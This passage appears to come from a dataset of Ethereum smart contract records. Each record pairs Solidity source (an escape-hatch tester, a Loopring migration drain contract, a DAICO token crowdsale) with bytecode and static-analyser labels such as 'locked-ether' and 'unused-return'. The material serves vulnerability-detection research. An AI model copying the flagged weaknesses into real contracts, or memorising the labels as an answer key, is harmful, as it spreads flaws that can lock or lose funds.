015260608601516080860152608086015160a086015260018060a01b0360a08701511660c086015280935050505092915050565b90815260200190565b918252602082015260400190565b9283526020830191909152604082015260600190565b60005b8381101561303557818101518382015260200161301d565b83811115613044576000848401525b50505050565b6001600160a01b038116811461305f57600080fd5b5056fea2646970667358221220d5249f05e626e18afa8d0196a177ff93a17a601c5c9159a891174d2dcd22123a64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,878
0x9992d6cb5b8e20c481bb7f5351f98507898e5c5b
pragma solidity 0.4.20; // No deps verison. /** * @title ERC20 * @dev A standard interface for tokens. * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20 { /// @dev Returns the total token supply function totalSupply() public constant returns (uint256 supply); /// @dev Returns the account balance of the account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); /// @dev Transfers _value number of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); /// @dev Transfers _value number of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount function approve(address _spender, uint256 _value) public returns (bool success); /// @dev Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /// @title Owned /// @author Adrià Massanet <adria@codecontext.io> /// @notice The Owned contract has an owner address, and provides basic /// authorization control functions, this simplifies & the implementation of /// user permissions; this contract has three work flows for a change in /// ownership, the first requires the new owner to validate that they have the /// ability to accept ownership, the second allows the ownership to be /// directly transfered without requiring acceptance, and the third allows for /// the ownership to be removed to allow for decentralization contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); /// @dev The constructor sets the `msg.sender` as the`owner` of the contract function Owned() public { owner = msg.sender; } /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require (msg.sender == owner); _; } /// @dev In this 1st option for ownership transfer `proposeOwnership()` must /// be called first by the current `owner` then `acceptOwnership()` must be /// called by the `newOwnerCandidate` /// @notice `onlyOwner` Proposes to transfer control of the contract to a /// new owner /// @param _newOwnerCandidate The address being proposed as the new owner function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } /// @notice Can only be called by the `newOwnerCandidate`, accepts the /// transfer of ownership function acceptOwnership() public { require(msg.sender == newOwnerCandidate); address oldOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 2nd option for ownership transfer `changeOwnership()` can /// be called and it will immediately assign ownership to the `newOwner` /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 3rd option for ownership transfer `removeOwnership()` can /// be called and it will immediately assign ownership to the 0x0 address; /// it requires a 0xdece be input as a parameter to prevent accidental use /// @notice Decentralizes the contract, this operation cannot be undone /// @param _dac `0xdac` has to be entered for this function to work function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } } /// @dev `Escapable` is a base level contract built off of the `Owned` /// contract; it creates an escape hatch function that can be called in an /// emergency that will allow designated addresses to send any ether or tokens /// held in the contract to an `escapeHatchDestination` as long as they were /// not blacklisted contract Escapable is Owned { address public escapeHatchCaller; address public escapeHatchDestination; mapping (address=>bool) private escapeBlacklist; // Token contract addresses /// @notice The Constructor assigns the `escapeHatchDestination` and the /// `escapeHatchCaller` /// @param _escapeHatchCaller The address of a trusted account or contract /// to call `escapeHatch()` to send the ether in this contract to the /// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` /// @param _escapeHatchDestination The address of a safe location (usu a /// Multisig) to send the ether held in this contract; if a neutral address /// is required, the WHG Multisig is an option: /// 0x8Ff920020c8AD673661c8117f2855C384758C572 function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public { escapeHatchCaller = _escapeHatchCaller; escapeHatchDestination = _escapeHatchDestination; } /// @dev The addresses preassigned as `escapeHatchCaller` or `owner` /// are the only addresses that can call a function with this modifier modifier onlyEscapeHatchCallerOrOwner { require ((msg.sender == escapeHatchCaller)||(msg.sender == owner)); _; } /// @notice Creates the blacklist of tokens that are not able to be taken /// out of the contract; can only be done at the deployment, and the logic /// to add to the blacklist will be in the constructor of a child contract /// @param _token the token contract address that is to be blacklisted function blacklistEscapeToken(address _token) internal { escapeBlacklist[_token] = true; EscapeHatchBlackistedToken(_token); } /// @notice Checks to see if `_token` is in the blacklist of tokens /// @param _token the token address being queried /// @return False if `_token` is in the blacklist and can't be taken out of /// the contract via the `escapeHatch()` function isTokenEscapable(address _token) view public returns (bool) { return !escapeBlacklist[_token]; } /// @notice The `escapeHatch()` should only be called as a last resort if a /// security issue is uncovered or something unexpected happened /// @param _token to transfer, use 0x0 for ether function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner { require(escapeBlacklist[_token]==false); uint256 balance; /// @dev Logic for ether if (_token == 0x0) { balance = this.balance; escapeHatchDestination.transfer(balance); EscapeHatchCalled(_token, balance); return; } /// @dev Logic for tokens ERC20 token = ERC20(_token); balance = token.balanceOf(this); require(token.transfer(escapeHatchDestination, balance)); EscapeHatchCalled(_token, balance); } /// @notice Changes the address assigned to call `escapeHatch()` /// @param _newEscapeHatchCaller The address of a trusted account or /// contract to call `escapeHatch()` to send the value in this contract to /// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner { escapeHatchCaller = _newEscapeHatchCaller; } event EscapeHatchBlackistedToken(address token); event EscapeHatchCalled(address token, uint amount); } contract InternalTester is Escapable(0x1Ff21eCa1c3ba96ed53783aB9C92FfbF77862584, 0x1Ff21eCa1c3ba96ed53783aB9C92FfbF77862584) { function sendETH(address _to) payable public returns(bool) { _safeTransfer(_to, msg.value); return true; } function callETH(address _to) payable public returns(bool) { _safeCall(_to, msg.value); return true; } function sendERC20(ERC20 _token, address _to, uint _amount) public returns(bool) { _safeERC20Transfer(_token, _to, _amount); return true; } function _safeTransfer(address _to, uint _amount) internal { require(_to != 0); _to.transfer(_amount); } function _safeCall(address _to, uint _amount) internal { require(_to != 0); require(_to.call.value(_amount)()); } function _safeERC20Transfer(ERC20 _token, address _to, uint _amount) internal { require(_to != 0); require(_token.transferFrom(msg.sender, _to, _amount)); } }
0x6060604052600436106100b65763ffffffff60e060020a6000350416631f6eb6e781146100bb57806321b1e5f8146100ea5780632af4c31e1461011257806343ddc1b014610133578063666a342714610147578063710bf3221461016657806379ba509714610185578063892db057146101985780638da5cb5b146101b75780638f975a64146101ca578063a142d608146101f2578063d091b55014610211578063d836fbe814610224578063f5b6123014610243575b600080fd5b34156100c657600080fd5b6100ce610256565b604051600160a060020a03909116815260200160405180910390f35b6100fe600160a060020a0360043516610265565b604051901515815260200160405180910390f35b341561011d57600080fd5b610131600160a060020a0360043516610279565b005b6100fe600160a060020a036004351661031a565b341561015257600080fd5b610131600160a060020a0360043516610326565b341561017157600080fd5b610131600160a060020a03600435166103b0565b341561019057600080fd5b61013161042e565b34156101a357600080fd5b6100fe600160a060020a03600435166104bb565b34156101c257600080fd5b6100ce6104da565b34156101d557600080fd5b6100fe600160a060020a03600435811690602435166044356104e9565b34156101fd57600080fd5b610131600160a060020a0360043516610500565b341561021c57600080fd5b6100ce61073c565b341561022f57600080fd5b610131600160a060020a036004351661074b565b341561024e57600080fd5b6100ce6107b0565b600254600160a060020a031681565b600061027182346107bf565b506001919050565b6000805433600160a060020a0390811691161461029557600080fd5b600160a060020a03821615156102aa57600080fd5b5060008054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff1980841691909117938490556001805490911690559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006102718234610809565b60005433600160a060020a0390811691161461034157600080fd5b610dac600160a060020a0382161461035857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff199081169091556001805490911690557f94e8b32e01b9eedfddd778ffbd051a7718cdc14781702884561162dca6f74dbb60405160405180910390a150565b60005433600160a060020a039081169116146103cb57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290559081169033167f13a4b3bc0d5234dd3d87c9f1557d8faefa37986da62c36ba49309e2fb2c9aec460405160405180910390a350565b60015460009033600160a060020a0390811691161461044c57600080fd5b50600080546001805473ffffffffffffffffffffffffffffffffffffffff19808416600160a060020a03838116919091179586905591169091559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600160a060020a031660009081526004602052604090205460ff161590565b600054600160a060020a031681565b60006104f684848461084c565b5060019392505050565b600254600090819033600160a060020a0390811691161480610530575060005433600160a060020a039081169116145b151561053b57600080fd5b600160a060020a03831660009081526004602052604090205460ff161561056157600080fd5b600160a060020a03831615156105f357600354600160a060020a033081163193501682156108fc0283604051600060405180830381858888f1935050505015156105aa57600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a1610737565b5081600160a060020a0381166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561064c57600080fd5b6102c65a03f1151561065d57600080fd5b5050506040518051600354909350600160a060020a03808416925063a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106cc57600080fd5b6102c65a03f115156106dd57600080fd5b5050506040518051905015156106f257600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a15b505050565b600154600160a060020a031681565b60025433600160a060020a0390811691161480610776575060005433600160a060020a039081169116145b151561078157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a031681565b600160a060020a03821615156107d457600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f19350505050151561080557600080fd5b5050565b600160a060020a038216151561081e57600080fd5b81600160a060020a03168160405160006040518083038185876187965a03f192505050151561080557600080fd5b600160a060020a038216151561086157600080fd5b82600160a060020a03166323b872dd33848460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108cb57600080fd5b6102c65a03f115156108dc57600080fd5b50505060405180519050151561073757600080fd00a165627a7a72305820117e698d8a569af8c6b3c29b44f40c4854701a080bd27da7b399a88e794f86ec0029
{"success": true, "error": null, "results": {}}
3,879
0xf561cefb964c4fabfb519afe4a9ad028b4b3191e
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; // File: contracts/lib/ReentrancyGuard.sol // Copyright 2017 Loopring Technology Limited. /// @title ReentrancyGuard /// @author Brecht Devos - <brecht@loopring.org> /// @dev Exposes a modifier that guards a function against reentrancy /// Changing the value of the same storage value multiple times in a transaction /// is cheap (starting from Istanbul) so there is no need to minimize /// the number of times the value is changed contract ReentrancyGuard { //The default value must be 0 in order to work behind a proxy. uint private _guardValue; // Use this modifier on a function to prevent reentrancy modifier nonReentrant() { // Check if the guard value has its original value require(_guardValue == 0, "REENTRANCY"); // Set the value to something else _guardValue = 1; // Function body _; // Set the value back _guardValue = 0; } } // File: contracts/lib/AddressUtil.sol // Copyright 2017 Loopring Technology Limited. /// @title Utility Functions for addresses /// @author Daniel Wang - <daniel@loopring.org> /// @author Brecht Devos - <brecht@loopring.org> library AddressUtil { using AddressUtil for *; function isContract( address addr ) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(addr) } return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470); } function toPayable( address addr ) internal pure returns (address payable) { return payable(addr); } // Works like address.send but with a customizable gas limit // Make sure your code is safe for reentrancy when using this function! function sendETH( address to, uint amount, uint gasLimit ) internal returns (bool success) { if (amount == 0) { return true; } address payable recipient = to.toPayable(); /* solium-disable-next-line */ (success, ) = recipient.call{value: amount, gas: gasLimit}(""); } // Works like address.transfer but with a customizable gas limit // Make sure your code is safe for reentrancy when using this function! function sendETHAndVerify( address to, uint amount, uint gasLimit ) internal returns (bool success) { success = to.sendETH(amount, gasLimit); require(success, "TRANSFER_FAILURE"); } // Works like call but is slightly more efficient when data // needs to be copied from memory to do the call. function fastCall( address to, uint gasLimit, uint value, bytes memory data ) internal returns (bool success, bytes memory returnData) { if (to != address(0)) { assembly { // Do the call success := call(gasLimit, to, value, add(data, 32), mload(data), 0, 0) // Copy the return data let size := returndatasize() returnData := mload(0x40) mstore(returnData, size) returndatacopy(add(returnData, 32), 0, size) // Update free memory pointer mstore(0x40, add(returnData, add(32, size))) } } } // Like fastCall, but throws when the call is unsuccessful. function fastCallAndVerify( address to, uint gasLimit, uint value, bytes memory data ) internal returns (bytes memory returnData) { bool success; (success, returnData) = fastCall(to, gasLimit, value, data); if (!success) { assembly { revert(add(returnData, 32), mload(returnData)) } } } } // File: contracts/lib/ERC20.sol // Copyright 2017 Loopring Technology Limited. /// @title ERC20 Token Interface /// @dev see https://github.com/ethereum/EIPs/issues/20 /// @author Daniel Wang - <daniel@loopring.org> abstract contract ERC20 { function totalSupply() public virtual view returns (uint); function balanceOf( address who ) public virtual view returns (uint); function allowance( address owner, address spender ) public virtual view returns (uint); function transfer( address to, uint value ) public virtual returns (bool); function transferFrom( address from, address to, uint value ) public virtual returns (bool); function approve( address spender, uint value ) public virtual returns (bool); } // File: contracts/lib/ERC20SafeTransfer.sol // Copyright 2017 Loopring Technology Limited. /// @title ERC20 safe transfer /// @dev see https://github.com/sec-bit/badERC20Fix /// @author Brecht Devos - <brecht@loopring.org> library ERC20SafeTransfer { function safeTransferAndVerify( address token, address to, uint value ) internal { safeTransferWithGasLimitAndVerify( token, to, value, gasleft() ); } function safeTransfer( address token, address to, uint value ) internal returns (bool) { return safeTransferWithGasLimit( token, to, value, gasleft() ); } function safeTransferWithGasLimitAndVerify( address token, address to, uint value, uint gasLimit ) internal { require( safeTransferWithGasLimit(token, to, value, gasLimit), "TRANSFER_FAILURE" ); } function safeTransferWithGasLimit( address token, address to, uint value, uint gasLimit ) internal returns (bool) { // A transfer is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) // bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb bytes memory callData = abi.encodeWithSelector( bytes4(0xa9059cbb), to, value ); (bool success, ) = token.call{gas: gasLimit}(callData); return checkReturnValue(success); } function safeTransferFromAndVerify( address token, address from, address to, uint value ) internal { safeTransferFromWithGasLimitAndVerify( token, from, to, value, gasleft() ); } function safeTransferFrom( address token, address from, address to, uint value ) internal returns (bool) { return safeTransferFromWithGasLimit( token, from, to, value, gasleft() ); } function safeTransferFromWithGasLimitAndVerify( address token, address from, address to, uint value, uint gasLimit ) internal { bool result = safeTransferFromWithGasLimit( token, from, to, value, gasLimit ); require(result, "TRANSFER_FAILURE"); } function safeTransferFromWithGasLimit( address token, address from, address to, uint value, uint gasLimit ) internal returns (bool) { // A transferFrom is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) // bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd bytes memory callData = abi.encodeWithSelector( bytes4(0x23b872dd), from, to, value ); (bool success, ) = token.call{gas: gasLimit}(callData); return checkReturnValue(success); } function checkReturnValue( bool success ) internal pure returns (bool) { // A transfer/transferFrom is successful when 'call' is successful and depending on the token: // - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false) // - A single boolean is returned: this boolean needs to be true (non-zero) if (success) { assembly { switch returndatasize() // Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded case 0 { success := 1 } // Standard ERC20: a single boolean value is returned which needs to be true case 32 { returndatacopy(0, 0, 32) success := mload(0) } // None of the above: not successful default { success := 0 } } } return success; } } // File: contracts/lib/Drainable.sol // Copyright 2017 Loopring Technology Limited. /// @title Drainable /// @author Brecht Devos - <brecht@loopring.org> /// @dev Standard functionality to allow draining funds from a contract. abstract contract Drainable { using AddressUtil for address; using ERC20SafeTransfer for address; event Drained( address to, address token, uint amount ); function drain( address to, address token ) public returns (uint amount) { require(canDrain(msg.sender, token), "UNAUTHORIZED"); if (token == address(0)) { amount = address(this).balance; to.sendETHAndVerify(amount, gasleft()); // ETH } else { amount = ERC20(token).balanceOf(address(this)); token.safeTransferAndVerify(to, amount); // ERC20 token } emit Drained(to, token, amount); } // Needs to return if the address is authorized to call drain. function canDrain(address drainer, address token) public virtual view returns (bool); } // File: contracts/aux/migrate/MigrationToLoopringExchangeV2.sol // Copyright 2017 Loopring Technology Limited. abstract contract ILoopringV3Partial { function withdrawExchangeStake( uint exchangeId, address recipient, uint requestedAmount ) external virtual returns (uint amount); } /// @author Kongliang Zhong - <kongliang@loopring.org> /// @dev This contract enables an alternative approach of getting back assets from Loopring Exchange v1. /// Now you don't have to withdraw using merkle proofs (very expensive); /// instead, all assets will be distributed on Loopring Exchange v2 - Loopring's new zkRollup implementation. /// Please activate and unlock your address on https://exchange.loopring.io to claim your assets. contract MigrationToLoopringExchangeV2 is Drainable { string constant public version = "3.1.3"; function canDrain(address /*drainer*/, address /*token*/) public override view returns (bool) { return isMigrationOperator(); } function withdrawExchangeStake( address loopringV3, uint exchangeId, uint amount, address recipient ) external { require(isMigrationOperator(), "INVALID_SENDER"); ILoopringV3Partial(loopringV3).withdrawExchangeStake(exchangeId, recipient, amount); } function isMigrationOperator() internal view returns (bool) { return msg.sender == 0x4374D3d032B3c96785094ec9f384f07077792768; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806354fd4d50146100515780636e6cddd01461006f578063837971e414610084578063907d985b146100a4575b600080fd5b6100596100c4565b60405161006691906107a8565b60405180910390f35b61008261007d3660046106a8565b6100fd565b005b610097610092366004610674565b6101f3565b604051610066919061089e565b6100b76100b2366004610674565b610381565b604051610066919061079d565b6040518060400160405280600581526020017f332e312e3300000000000000000000000000000000000000000000000000000081525081565b610105610394565b610144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013b90610867565b60405180910390fd5b6040517f06ff4daa00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906306ff4daa9061019a908690859087906004016108a7565b602060405180830381600087803b1580156101b457600080fd5b505af11580156101c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ec91906106f1565b5050505050565b60006101ff3383610381565b610235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013b906107f9565b73ffffffffffffffffffffffffffffffffffffffff821661027b575047610275815a73ffffffffffffffffffffffffffffffffffffffff861691906103ae565b50610340565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8316906370a08231906102cd903090600401610725565b60206040518083038186803b1580156102e557600080fd5b505afa1580156102f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031d91906106f1565b905061034073ffffffffffffffffffffffffffffffffffffffff83168483610411565b7fbfd2431e6c719bec0308db4f4ed0afc39712d368867354c711a1ea1e384fa78183838360405161037393929190610746565b60405180910390a192915050565b600061038b610394565b90505b92915050565b734374d3d032b3c96785094ec9f384f07077792768331490565b60006103d173ffffffffffffffffffffffffffffffffffffffff85168484610422565b90508061040a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013b90610830565b9392505050565b61041d8383835a6104c9565b505050565b6000826104315750600161040a565b60006104528573ffffffffffffffffffffffffffffffffffffffff16610511565b90508073ffffffffffffffffffffffffffffffffffffffff1684849060405161047a90610511565b600060405180830381858888f193505050503d80600081146104b8576040519150601f19603f3d011682016040523d82523d6000602084013e6104bd565b606091505b50909695505050505050565b6104d584848484610514565b61050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013b90610830565b50505050565b90565b6000606063a9059cbb60e01b8585604051602401610533929190610777565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008673ffffffffffffffffffffffffffffffffffffffff1684836040516105ba9190610709565b60006040518083038160008787f1925050503d80600081146105f8576040519150601f19603f3d011682016040523d82523d6000602084013e6105fd565b606091505b5050905061060a81610615565b979650505050505050565b6000811561064c573d8015610635576020811461063e576000925061064a565b6001925061064a565b60206000803e60005192505b505b5090565b803573ffffffffffffffffffffffffffffffffffffffff8116811461038e57600080fd5b60008060408385031215610686578182fd5b6106908484610650565b915061069f8460208501610650565b90509250929050565b600080600080608085870312156106bd578182fd5b84356106c8816108ff565b9350602085013592506040850135915060608501356106e6816108ff565b939692955090935050565b600060208284031215610702578081fd5b5051919050565b6000825161071b8184602087016108d3565b9190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b60006020825282518060208401526107c78160408501602087016108d3565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b6020808252600c908201527f554e415554484f52495a45440000000000000000000000000000000000000000604082015260600190565b60208082526010908201527f5452414e534645525f4641494c55524500000000000000000000000000000000604082015260600190565b6020808252600e908201527f494e56414c49445f53454e444552000000000000000000000000000000000000604082015260600190565b90815260200190565b92835273ffffffffffffffffffffffffffffffffffffffff919091166020830152604082015260600190565b60005b838110156108ee5781810151838201526020016108d6565b8381111561050b5750506000910152565b73ffffffffffffffffffffffffffffffffffffffff8116811461092157600080fd5b5056fea26469706673582212201e8542684b537b8ee99602a48c99f9de1005a0e28ad74facbdb49a0d5587eae264736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,880
0x06a18ecf4fb238a47c146c926d3017bd3737364e
pragma solidity ^0.4.16; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract DAICO is BurnableToken { string public constant name = "DAICO "; string public constant symbol = "DAICO"; uint8 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 10000000 * 1 ether; function DAICO () { totalSupply = INITIAL_SUPPLY; balances[0x0352fed344765ACBdeEF8BbCc2EF5cfaE9631C03] = INITIAL_SUPPLY; } } contract Crowdsale is Ownable { using SafeMath for uint; address multisig; DAICO public token = new DAICO (); uint start; function Start() constant returns (uint) { return start; } function setStart(uint newStart) onlyOwner { start = newStart; } uint period; function Period() constant returns (uint) { return period; } function setPeriod(uint newPeriod) onlyOwner { period = newPeriod; } uint rate; function Rate() constant returns (uint) { return rate; } function setRate(uint newRate) onlyOwner { rate = newRate * (10**18); } function Crowdsale() { multisig = 0x0352fed344765ACBdeEF8BbCc2EF5cfaE9631C03; rate = 400; start = 1519759466; period = 1500; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } modifier limitation() { require(msg.value >= 100000000000000000); _; } function createTokens() limitation saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); token.transfer(msg.sender, tokens); } function() external payable { createTokens(); } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c55780632ff2e9dc1461023e578063313ce5671461026757806342966c681461029657806370a08231146102b957806395d89b4114610306578063a9059cbb14610394578063dd62ed3e146103ee575b600080fd5b34156100bf57600080fd5b6100c761045a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610493565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af61061a565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610620565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b6102516108d0565b6040518082815260200191505060405180910390f35b341561027257600080fd5b61027a6108d6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102a157600080fd5b6102b760048080359060200190919050506108db565b005b34156102c457600080fd5b6102f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109e6565b6040518082815260200191505060405180910390f35b341561031157600080fd5b610319610a2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035957808201518184015260208101905061033e565b50505050905090810190601f16